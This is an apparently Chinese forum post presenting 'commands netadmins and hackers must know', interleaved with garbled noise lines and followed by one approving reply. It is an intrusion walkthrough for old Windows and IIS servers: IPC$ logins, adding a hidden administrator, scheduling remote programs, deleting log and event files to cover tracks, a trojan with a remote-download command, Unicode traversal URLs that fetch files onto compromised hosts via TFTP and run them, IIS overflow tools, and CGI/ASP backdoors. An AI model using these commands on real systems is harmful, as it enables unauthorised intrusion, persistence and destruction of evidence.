网管和黑客都必须知道的命令

cnooc

网管和黑客都必须知道的命令
) g" x/ ?. {, ^$ }6 k9 W（与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""  
) g2 B& p) m* D- m; e: g! I
　　（以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"  

　　（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$  
9 p/ j7 m8 D& ~2 a. L+ h# o3 _
1 a" Y- W: V. M0 b2 ^　　（查看远程主机时间） net time \\IP地址  
+ B" X; \( p5 f; G, M7 a
　　（定时启动某个程序） at \\IP地址 02:18 readme.exe  

& D4 @4 H3 [  A; x7 D- v# Y　　（查看共享） net view \\IP地址  

5 F. U. b5 X* c; I; E) W　　（查看netbios工作组列表） nbtstat -A IP地址  

4 x1 s3 b2 ^2 i- p9 A　　（将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"  

7 \' D, T; Q3 [3 n　　（这两条把自己增加到管理员组）： net user 用户名 密码 /add  

　　net localgroup Administrators 用户名 /add  
* h6 S. I% w$ E! r9 p
* @% a( g6 T! T, r! \5 |2 I　　（断开连接） net use \\IP地址\ipc$ /delete  

　　扫尾：  
& m) t: j3 ^$ x, O; v. J- R
　　del C:\winnt\system32\logfiles\*.*  
" \1 g3 C) [5 {7 N0 F0 J
  \9 J$ z* g, B& l　　del C:\winnt\ssytem32\config\*.evt  

　　del C:\winnt\system32\dtclog\*.*  
! D* Y* d* q! m7 E3 x# S: p
) _8 |4 C9 G+ k1 U  K  U  L　　del C:\winnt\system32\*.log  
$ t: R" U- F, [( M6 ^
　　del C:\winnt\system32\*.txt  

1 @  S( s4 Z% v　　del C:\winnt\*.txt  
$ [6 X% f$ R# V; d# y# n- z' ~
5 k+ o) m( K6 [% o　　del C:\winnt\*.log  
, t& @7 U! }, z. U1 h
, I. X/ ?. [1 H' X" y% D　　一、netsvc.exe  

　　下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：  
" K) k& l3 ?3 p  y
2 J0 z; c% e+ q4 d( S* M; z　　netsvc /list \\IP地址  
' u$ N- b# g* e/ ]+ k
. F2 x: U# f5 n( e  }7 G　　netsvc schedule \\IP地址 /query  
: w) w, K+ R: h
9 `+ L' ~3 O; h; g( G6 m6 F( I　　netsvc \\IP地址 schedule /start  

　　二、OpenTelnet.exe  
9 @# F. P; J( q% p( P
　　远程启动主机的Telnet服务，并绑定端口到7878，例如：  

- y, J2 `/ J# S' j0 u  {　　OpenTelnet \\IP地址 用户名 密码 1 7878  

* e+ W! g" n6 ?& g( h/ m& _4 j　　然后就可以telnet到主机的7878端口，进入DOS方式下：  
: j4 u; k' Q2 d2 k0 v/ y+ I& @
　　telnet IP地址 7878  
! k8 }/ u4 I6 m2 v
　　三、winshell.exe  
: O6 ~$ Y7 k; G# o7 V8 d
　　一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：  
- T9 v/ G! C5 k1 _/ O& A- f
　　p Path （查看winshell主程序的路径信息）  
+ Z: c+ m8 P- T$ g! n& y7 `
8 F- v5 M& Q: d　　b reBoot （重新启动机器）  
# k% |# y6 b8 f$ ^: ^
　　d shutDown （关闭机器）  
7 d/ G1 e) Q, E3 }# ~- C% x+ B1 H% C0 `; }
( K/ o" V9 s% o$ U　　s Shell （执行后你就会看到可爱的“C:\>”）  
& Z& q0 t& m6 I7 R
　　x eXit （退出本次登录会话，此命令并不终止winshell的运行）  

　　CMD> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）  
. o2 |. _+ V& L7 t3 p% {
　　四、3389登陆器，GUI方式登录远程主机的  

　　五、elsave.exe  

  F3 m# H$ {  P" \) d1 d　　事件日志清除工具  
- G8 y/ J" X; w- l# Y. p
　　elsave -s \\IP地址 -l "application" -C  
3 q) v1 D1 l/ g$ `) B3 ?4 `$ g# j
　　elsave -s \\IP地址 -l "system" -C  
0 j! Z9 v9 Q/ [( ^$ t0 ?1 Q  r) P
6 C& E' m, T. G( f8 a　　elsave -s \\IP地址 -l "security" -C  

　　执行后成功清除应用程序日志，系统日志，安全日志  

, v! r9 Y5 u5 F& w  R　　六、hbulot.exe  

2 T; M5 R) Z) X3 K9 n2 a5 C1 s/ m  N　　开启win2kserver和winxp的3389服务  

　　hbulot [/r]  

　　使用/r表示安装完成后自动重起目标使设置生效。  

* g0 A, O$ h$ l! f) a* \$ k　　七、nc.exe(netcat.exe)  
  L  [) L. n& M) H( m0 a; A+ A# c
1 d1 c& b* W+ }　　一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。  
! P8 A# F4 i7 ]! D
+ B0 \. F/ U4 c  ~3 I, _: d　　想要连接到某处: nc [-options] hostname port [ports] ...  
$ @6 K9 O3 o9 l. ^1 ~
　　绑定端口等待连接: nc -l -p port [-options] [hostname] [port]  

　　参数:  
3 U% o, x& `: F, N) ~$ n
1 J1 G: q/ K& B" [5 r　　-e prog 程序重定向，一旦连接，就执行 [危险!!]  

　　-g gateway source-routing hop point, up to 8  
( Q' _' t, D( q& M) g9 y
7 m: _2 Y% x1 C6 J　　-G num source-routing pointer: 4, 8, 12, ...  

- i& K5 R9 s) g　　-h 帮助信息  

　　-i secs 延时的间隔  

　　-l 监听模式，用于入站连接  

- O2 H8 D. R% u9 Y; b5 I9 C　　-n 指定数字的IP地址，不能用hostname  
6 G0 ?6 y7 y% @' U* b/ d
  D* q9 _$ e$ Z4 C　　-o file 记录16进制的传输  
! _4 p/ v, {  f1 G$ N: }/ V7 O
　　-p port 本地端口号  

. H) z' A( e6 f  f  t　　-r 任意指定本地及远程端口  

　　-s addr 本地源地址  
% B* X% c: ]1 X9 T8 L0 V1 u
　　-u UDP模式  
, r7 t1 ]- J7 U% ?  @. a2 C
　　-v 详细输出——用两个-v可得到更详细的内容  
, r- c) l" `6 ^7 I2 q) Y
　　-w secs timeout的时间  
  Y2 r2 e5 R' }' X- Z
7 w( e2 S  o* z# X! Z　　-z 将输入输出关掉——用于扫描时  

: u3 K, s* p7 U4 y( _( }$ T9 q　　八、TFTPD32.EXE  
# s6 @; B, d' o  [3 \
　　把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：  

8 y: d! |+ Z) |' ?+ M　　http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名  

' m) u( ?6 P& E+ f- i( p  I　　然后可以直接令文件运行：  

　　http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名  

　　九、prihack.exe是IIS的printer远程缓冲区溢出工具  
( j) Q! s# l  ]1 Y, p* N4 t
, j3 K- f: X2 }' `  l, |8 q　　idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。  
# y2 B0 F" {6 Z, b; D  \
　　一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。

422907078

的确是很全的命令 以前只是知道 ping net ipconfig 等一些简单的命令